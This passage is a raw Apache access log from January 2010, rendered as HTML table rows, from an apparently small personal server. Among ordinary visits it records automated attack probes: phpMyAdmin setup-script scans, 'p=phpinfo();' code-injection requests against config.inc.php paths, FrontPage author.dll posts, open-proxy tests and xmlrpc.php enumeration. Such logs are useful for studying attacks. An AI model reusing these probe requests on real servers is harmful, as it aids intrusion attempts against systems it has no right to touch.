&lt;td&gt;
80.80.162.26 - - [31/Jan/2010:07:31:39 -0800] "POST /phpmyadmin//setup/config.php?type=post HTTP/1.1" 303 -

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
80.80.162.26 - - [31/Jan/2010:07:31:39 -0800] "GET /phpmyadmin//setup/index.php?page=config HTTP/1.1" 200 2857

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
80.80.162.26 - - [31/Jan/2010:07:31:39 -0800] "GET /phpmyadmin//setup/config.php?type=post HTTP/1.1" 303 -

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
80.80.162.26 - - [31/Jan/2010:07:31:38 -0800] "GET /phpmyadmin//setup/index.php?page=config HTTP/1.1" 200 2857

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
80.80.162.26 - - [31/Jan/2010:07:31:37 -0800] "GET /phpmyadmin//setup/config.php?type=post HTTP/1.1" 303 -

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
80.80.162.26 - - [31/Jan/2010:07:31:36 -0800] "GET /phpmyadmin//scripts/setup.php HTTP/1.1" 404 227

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
80.80.162.26 - - [31/Jan/2010:07:08:49 -0800] "GET //setup/config.php?type=post HTTP/1.1" 404 214

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
80.80.162.26 - - [31/Jan/2010:07:08:48 -0800] "GET //scripts/setup.php HTTP/1.1" 404 215

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
80.80.162.26 - - [31/Jan/2010:06:38:06 -0800] "GET //phpmyadmin//scripts/setup.php HTTP/1.1" 404 227

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
80.80.162.26 - - [31/Jan/2010:06:27:23 -0800] "GET //phpMyAdmin//scripts/setup.php HTTP/1.1" 404 227

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
125.65.112.161 - - [31/Jan/2010:04:55:09 -0800] "GET http://freestuff-site.com/prx1.php?hash=8D02562B0B5B3BA04051A9F40050AB4ED0086B4B3066 HTTP/1.0" 404 206

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
24.23.159.68 - - [31/Jan/2010:03:43:55 -0800] "GET /obama_cyborg.gif HTTP/1.1" 200 33899

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
208.80.193.28 - - [30/Jan/2010:20:31:34 -0800] "GET / HTTP/1.0" 200 1285

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
125.65.112.161 - - [30/Jan/2010:12:01:34 -0800] "GET http://freestuff-site.com/prx1.php?hash=8D02562B0B5B3BA04051A9F40050AB4ED0086B4B3066 HTTP/1.0" 404 206

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
125.65.112.161 - - [30/Jan/2010:07:54:26 -0800] "GET http://freestuff-site.com/prx1.php?hash=8D02562B0B5B3BA04051A9F40050AB4ED0086B4B3066 HTTP/1.0" 404 206

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
67.212.67.178 - - [29/Jan/2010:20:40:03 -0800] "GET //webmail/config.inc.php?p=phpinfo(); HTTP/1.1" 404 220

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
67.212.67.178 - - [29/Jan/2010:20:40:02 -0800] "GET //mail/config.inc.php?p=phpinfo(); HTTP/1.1" 404 217

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
67.212.67.178 - - [29/Jan/2010:20:40:02 -0800] "GET //phpMyAdmin2/config.inc.php?p=phpinfo(); HTTP/1.1" 404 224

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
67.212.67.178 - - [29/Jan/2010:20:40:02 -0800] "GET //phpmyadmin2/config.inc.php?p=phpinfo(); HTTP/1.1" 404 224

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
67.212.67.178 - - [29/Jan/2010:20:40:02 -0800] "GET //phppgadmin/config.inc.php?p=phpinfo(); HTTP/1.1" 404 223

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
67.212.67.178 - - [29/Jan/2010:20:40:01 -0800] "GET //config/config.inc.php?p=phpinfo(); HTTP/1.1" 404 219

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
67.212.67.178 - - [29/Jan/2010:20:40:01 -0800] "GET //phpMyAdmin/config/config.inc.php?p=phpinfo(); HTTP/1.1" 200 -

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
67.212.67.178 - - [29/Jan/2010:20:40:01 -0800] "GET //PHPMYADMIN/config/config.inc.php?p=phpinfo(); HTTP/1.1" 200 -

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
67.212.67.178 - - [29/Jan/2010:20:40:01 -0800] "GET //myadmin/config/config.inc.php?p=phpinfo(); HTTP/1.1" 404 227

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
67.212.67.178 - - [29/Jan/2010:20:40:00 -0800] "GET //php-my-admin/config/config.inc.php?p=phpinfo(); HTTP/1.1" 404 232

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
67.212.67.178 - - [29/Jan/2010:20:40:00 -0800] "GET //mysql/config/config.inc.php?p=phpinfo(); HTTP/1.1" 404 225

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
67.212.67.178 - - [29/Jan/2010:20:39:59 -0800] "GET //dbadmin/config/config.inc.php?p=phpinfo(); HTTP/1.1" 404 227

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
67.212.67.178 - - [29/Jan/2010:20:39:59 -0800] "GET //admin/config/config.inc.php?p=phpinfo(); HTTP/1.1" 404 225

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
67.212.67.178 - - [29/Jan/2010:20:39:59 -0800] "GET //pma/config/config.inc.php?p=phpinfo(); HTTP/1.1" 404 223

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
67.212.67.178 - - [29/Jan/2010:20:39:58 -0800] "GET //phpmyadmin/config/config.inc.php?p=phpinfo(); HTTP/1.1" 200 -

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
174.101.96.163 - - [29/Jan/2010:13:03:36 -0800] "GET / HTTP/1.1" 200 1285

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
200.31.176.178 - - [29/Jan/2010:09:00:47 -0800] "POST /_vti_bin/_vti_aut/author.dll HTTP/1.1" 404 226

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
125.65.112.161 - - [29/Jan/2010:07:48:35 -0800] "GET http://freestuff-site.com/prx1.php?hash=8D02562B0B5B3BA04051A9F40050AB4ED0086B4B3066 HTTP/1.0" 404 206

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
208.80.193.28 - - [29/Jan/2010:07:14:53 -0800] "GET / HTTP/1.0" 200 1285

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
88.191.77.91 - - [29/Jan/2010:04:32:58 -0800] "GET /vhcs2/domain_default_page/index.html HTTP/1.1" 404 234

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
88.191.77.91 - - [29/Jan/2010:04:32:57 -0800] "GET /domain_default_page/index.html HTTP/1.1" 404 228

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
88.191.77.91 - - [29/Jan/2010:04:32:57 -0800] "GET HTTP/1.1 HTTP/1.1" 400 226

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
122.227.164.71 - - [28/Jan/2010:23:04:33 -0800] "GET http://freestuff-site.com/prx1.php HTTP/1.0" 404 206

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
125.141.237.100 - - [28/Jan/2010:21:50:49 -0800] "GET /phpmyadmin/scripts/setup.php HTTP/1.1" 404 226

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
125.141.237.100 - - [28/Jan/2010:21:50:48 -0800] "GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 404 226

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
125.141.237.100 - - [28/Jan/2010:21:50:19 -0800] "GET //phpmyadmin/ HTTP/1.1" 200 8861

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
125.141.237.100 - - [28/Jan/2010:21:50:18 -0800] "GET //phpMyAdmin/ HTTP/1.1" 200 8861

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
68.1.83.78 - - [28/Jan/2010:21:42:10 -0800] "GET / HTTP/1.1" 200 1285

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
10.0.1.100 - - [28/Jan/2010:20:21:54 -0800] "GET / HTTP/1.1" 200 1282

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
10.0.1.100 - - [28/Jan/2010:05:39:25 -0800] "GET / HTTP/1.1" 200 1282

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
10.0.1.100 - - [28/Jan/2010:05:35:27 -0800] "GET / HTTP/1.1" 200 1282

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
10.0.1.100 - - [28/Jan/2010:05:30:02 -0800] "GET / HTTP/1.1" 200 1282

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
10.0.1.100 - - [28/Jan/2010:05:29:09 -0800] "GET / HTTP/1.1" 200 1282

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
10.0.1.100 - - [27/Jan/2010:21:27:56 -0800] "GET / HTTP/1.1" 200 1282

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
10.0.1.100 - - [27/Jan/2010:21:26:05 -0800] "GET / HTTP/1.1" 200 1282

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
10.0.1.100 - - [27/Jan/2010:21:25:46 -0800] "GET / HTTP/1.1" 200 1282

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
10.0.1.100 - - [27/Jan/2010:21:23:41 -0800] "GET / HTTP/1.1" 200 1282

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
10.0.1.100 - - [27/Jan/2010:21:23:12 -0800] "GET / HTTP/1.1" 200 1282

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
10.0.1.100 - - [27/Jan/2010:21:22:03 -0800] "GET / HTTP/1.1" 200 1282

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
10.0.1.100 - - [27/Jan/2010:21:21:30 -0800] "GET / HTTP/1.1" 200 1282

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
10.0.1.100 - - [27/Jan/2010:21:20:22 -0800] "GET / HTTP/1.1" 200 1282

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
10.0.1.100 - - [27/Jan/2010:21:19:23 -0800] "GET / HTTP/1.1" 200 1282

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
10.0.1.100 - - [27/Jan/2010:21:18:11 -0800] "GET / HTTP/1.1" 200 1282

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
10.0.1.100 - - [27/Jan/2010:21:18:01 -0800] "GET / HTTP/1.1" 200 1282

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
10.0.1.100 - - [27/Jan/2010:20:09:58 -0800] "GET / HTTP/1.1" 200 1282

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
10.0.1.100 - - [27/Jan/2010:20:07:11 -0800] "GET / HTTP/1.1" 200 1282

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
10.0.1.100 - - [27/Jan/2010:19:19:39 -0800] "GET / HTTP/1.1" 200 1282

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
10.0.1.100 - - [27/Jan/2010:19:18:52 -0800] "GET / HTTP/1.1" 200 1282

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
10.0.1.100 - - [27/Jan/2010:19:17:45 -0800] "GET / HTTP/1.1" 200 1282

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
10.0.1.100 - - [27/Jan/2010:19:17:37 -0800] "GET / HTTP/1.1" 200 1282

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
10.0.1.100 - - [27/Jan/2010:18:21:10 -0800] "GET / HTTP/1.1" 200 1282

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
208.80.193.38 - - [27/Jan/2010:17:43:52 -0800] "GET / HTTP/1.0" 200 1285

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
10.0.1.100 - - [27/Jan/2010:16:22:53 -0800] "GET / HTTP/1.1" 200 1282

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
10.0.1.100 - - [27/Jan/2010:16:21:56 -0800] "GET / HTTP/1.1" 200 1282

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
10.0.1.100 - - [27/Jan/2010:16:20:39 -0800] "GET / HTTP/1.1" 200 1282

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
10.0.1.100 - - [27/Jan/2010:16:18:31 -0800] "GET / HTTP/1.1" 200 1282

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
10.0.1.100 - - [27/Jan/2010:16:16:13 -0800] "GET / HTTP/1.1" 200 1282

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
10.0.1.100 - - [27/Jan/2010:16:15:32 -0800] "GET / HTTP/1.1" 200 1282

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
10.0.1.100 - - [27/Jan/2010:16:08:02 -0800] "GET / HTTP/1.1" 200 1282

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
10.0.1.100 - - [27/Jan/2010:16:06:31 -0800] "GET / HTTP/1.1" 200 1282

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
10.0.1.100 - - [27/Jan/2010:16:05:20 -0800] "GET / HTTP/1.1" 200 1282

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
10.0.1.100 - - [27/Jan/2010:16:04:39 -0800] "GET / HTTP/1.1" 200 1282

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
10.0.1.100 - - [27/Jan/2010:16:03:45 -0800] "GET / HTTP/1.1" 200 1282

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
10.0.1.100 - - [27/Jan/2010:16:02:44 -0800] "GET / HTTP/1.1" 200 1282

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
10.0.1.100 - - [27/Jan/2010:16:01:29 -0800] "GET / HTTP/1.1" 200 1282

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
10.0.1.100 - - [27/Jan/2010:16:00:40 -0800] "GET / HTTP/1.1" 200 1282

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
10.0.1.100 - - [27/Jan/2010:15:59:32 -0800] "GET / HTTP/1.1" 200 1282

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
10.0.1.100 - - [27/Jan/2010:15:57:38 -0800] "GET / HTTP/1.1" 200 1282

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
10.0.1.100 - - [27/Jan/2010:15:55:37 -0800] "GET / HTTP/1.1" 200 1282

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
10.0.1.100 - - [27/Jan/2010:15:54:30 -0800] "GET / HTTP/1.1" 200 1282

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
10.0.1.100 - - [27/Jan/2010:15:52:07 -0800] "GET / HTTP/1.1" 200 1282

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
10.0.1.100 - - [27/Jan/2010:15:51:18 -0800] "GET / HTTP/1.1" 200 1282

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
10.0.1.100 - - [27/Jan/2010:15:49:34 -0800] "GET / HTTP/1.1" 200 1282

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
10.0.1.100 - - [27/Jan/2010:15:43:42 -0800] "GET / HTTP/1.1" 200 1282

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
10.0.1.100 - - [27/Jan/2010:15:42:57 -0800] "GET / HTTP/1.1" 200 1282

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
10.0.1.100 - - [27/Jan/2010:15:40:46 -0800] "GET / HTTP/1.1" 200 1282

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
75.145.148.113 - - [27/Jan/2010:13:48:16 -0800] "GET /w00tw00t.at.ISC.SANS.DFind:) HTTP/1.1" 400 226

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
125.65.112.161 - - [27/Jan/2010:13:18:31 -0800] "GET http://freestuff-site.com/prx1.php?hash=8D02562B0B5B3BA04051A9F40050AB4ED0086B4B3066 HTTP/1.0" 404 206

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
66.215.104.154 - - [27/Jan/2010:10:44:03 -0800] "GET / HTTP/1.1" 200 1285

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
205.244.148.43 - - [27/Jan/2010:10:34:31 -0800] "GET //p/m/a/config/config.inc.php?p=phpinfo(); HTTP/1.1" 404 225

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
205.244.148.43 - - [27/Jan/2010:10:34:31 -0800] "GET //phpMyAdmin/config/config.inc.php?p=phpinfo(); HTTP/1.1" 200 -

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
205.244.148.43 - - [27/Jan/2010:10:34:31 -0800] "GET //PHPMYADMIN/config/config.inc.php?p=phpinfo(); HTTP/1.1" 200 -

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
205.244.148.43 - - [27/Jan/2010:10:34:30 -0800] "GET //myadmin/config/config.inc.php?p=phpinfo(); HTTP/1.1" 404 227

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
205.244.148.43 - - [27/Jan/2010:10:34:30 -0800] "GET //php-my-admin/config/config.inc.php?p=phpinfo(); HTTP/1.1" 404 232

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
205.244.148.43 - - [27/Jan/2010:10:34:30 -0800] "GET //mysql/config/config.inc.php?p=phpinfo(); HTTP/1.1" 404 225

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
205.244.148.43 - - [27/Jan/2010:10:34:29 -0800] "GET //dbadmin/config/config.inc.php?p=phpinfo(); HTTP/1.1" 404 227

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
205.244.148.43 - - [27/Jan/2010:10:34:29 -0800] "GET //admin/config/config.inc.php?p=phpinfo(); HTTP/1.1" 404 225

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
205.244.148.43 - - [27/Jan/2010:10:34:28 -0800] "GET //pma/config/config.inc.php?p=phpinfo(); HTTP/1.1" 404 223

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
205.244.148.43 - - [27/Jan/2010:10:34:28 -0800] "GET //phpmyadmin/config/config.inc.php?p=phpinfo(); HTTP/1.1" 200 -

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
10.0.1.100 - - [27/Jan/2010:05:54:42 -0800] "GET / HTTP/1.1" 200 1282

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
10.0.1.100 - - [27/Jan/2010:05:54:28 -0800] "GET / HTTP/1.1" 200 1282

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
10.0.1.100 - - [27/Jan/2010:05:52:51 -0800] "GET / HTTP/1.1" 200 1282

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
66.249.65.239 - - [27/Jan/2010:00:17:32 -0800] "GET / HTTP/1.1" 200 1285

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
66.249.65.239 - - [27/Jan/2010:00:17:32 -0800] "GET /robots.txt HTTP/1.1" 200 25

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
187.16.19.4 - - [26/Jan/2010:16:51:10 -0800] "GET //webmail/ HTTP/1.1" 404 206

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
187.16.19.4 - - [26/Jan/2010:16:51:09 -0800] "GET //roundcube/ HTTP/1.1" 404 208

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
10.0.1.100 - - [26/Jan/2010:16:44:43 -0800] "GET / HTTP/1.1" 200 1282

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
208.80.193.35 - - [26/Jan/2010:08:41:34 -0800] "GET / HTTP/1.0" 200 1285

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
10.0.1.100 - - [26/Jan/2010:07:26:34 -0800] "GET / HTTP/1.1" 200 1282

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
174.21.87.131 - - [26/Jan/2010:06:26:04 -0800] "GET /favicon.ico HTTP/1.1" 200 33899

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
174.21.87.131 - - [26/Jan/2010:06:26:00 -0800] "GET /sharecrawler.html HTTP/1.1" 200 153891

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
10.0.1.100 - - [26/Jan/2010:05:30:14 -0800] "GET / HTTP/1.1" 200 1242

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
10.0.1.100 - - [26/Jan/2010:05:24:47 -0800] "GET / HTTP/1.1" 200 1242

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
125.65.112.161 - - [26/Jan/2010:05:04:09 -0800] "GET http://freestuff-site.com/prx1.php?hash=8D02562B0B5B3BA04051A9F40050AB4ED0086B4B3066 HTTP/1.0" 404 206

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
10.0.1.100 - - [26/Jan/2010:05:00:41 -0800] "GET /sharecrawler.html HTTP/1.1" 200 -

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
10.0.1.100 - - [26/Jan/2010:05:00:41 -0800] "GET / HTTP/1.1" 200 1242

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
10.0.1.100 - - [26/Jan/2010:05:00:24 -0800] "GET /sharecrawler.html HTTP/1.1" 200 -

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
10.0.1.100 - - [26/Jan/2010:05:00:24 -0800] "GET / HTTP/1.1" 200 1242

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
10.0.1.100 - - [26/Jan/2010:04:10:21 -0800] "GET / HTTP/1.1" 200 1242

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
10.0.1.100 - - [26/Jan/2010:03:58:52 -0800] "GET / HTTP/1.1" 200 1242

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
10.0.1.100 - - [26/Jan/2010:03:58:03 -0800] "GET / HTTP/1.1" 200 1242

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
124.8.228.178 - - [25/Jan/2010:18:06:41 -0800] "GET / HTTP/1.1" 200 1156

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
193.239.68.6 - - [25/Jan/2010:17:48:04 -0800] "GET http://www-w.bigmir.net/pt.php?ri=1 HTTP/1.0" 404 204

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
10.0.1.100 - - [25/Jan/2010:16:34:43 -0800] "GET /sharecrawler.html HTTP/1.1" 304 -

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
10.0.1.100 - - [25/Jan/2010:16:31:42 -0800] "GET /sharecrawler.html HTTP/1.1" 304 -

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
10.0.1.100 - - [25/Jan/2010:16:29:42 -0800] "GET /sharecrawler.html HTTP/1.1" 304 -

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
10.0.1.100 - - [25/Jan/2010:16:27:42 -0800] "GET /sharecrawler.html HTTP/1.1" 200 95004

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
::1 - - [25/Jan/2010:16:16:21 -0800] "GET / HTTP/1.1" 200 1152

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
10.0.1.100 - - [25/Jan/2010:15:49:42 -0800] "GET /favicon.ico HTTP/1.1" 200 33899

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
10.0.1.100 - - [25/Jan/2010:15:49:42 -0800] "GET /sharecrawler.html HTTP/1.1" 200 62292

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
69.63.178.249 - - [25/Jan/2010:06:46:53 -0800] "GET /sharecrawler.html HTTP/1.1" 200 62292

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
207.58.180.175 - - [24/Jan/2010:19:17:33 -0800] "GET /phpgroupware/xmlrpc.php HTTP/1.0" 404 221

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
207.58.180.175 - - [24/Jan/2010:19:17:32 -0800] "GET /wordpress/xmlrpc.php HTTP/1.0" 404 218

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
207.58.180.175 - - [24/Jan/2010:19:17:32 -0800] "GET /b2evo/xmlsrv/xmlrpc.php HTTP/1.0" 404 221

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
207.58.180.175 - - [24/Jan/2010:19:17:32 -0800] "GET /b2/xmlsrv/xmlrpc.php HTTP/1.0" 404 218

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
207.58.180.175 - - [24/Jan/2010:19:17:32 -0800] "GET /blogtest/xmlsrv/xmlrpc.php HTTP/1.0" 404 224

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
207.58.180.175 - - [24/Jan/2010:19:17:32 -0800] "GET /blog/xmlsrv/xmlrpc.php HTTP/1.0" 404 220

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
207.58.180.175 - - [24/Jan/2010:19:17:31 -0800] "GET /blogs/xmlsrv/xmlrpc.php HTTP/1.0" 404 221

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
207.58.180.175 - - [24/Jan/2010:19:17:31 -0800] "GET /blogs/xmlrpc.php HTTP/1.0" 404 214

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
207.58.180.175 - - [24/Jan/2010:19:17:31 -0800] "GET /community/xmlrpc.php HTTP/1.0" 404 218

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
207.58.180.175 - - [24/Jan/2010:19:17:31 -0800] "GET /drupal/xmlrpc.php HTTP/1.0" 404 215

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
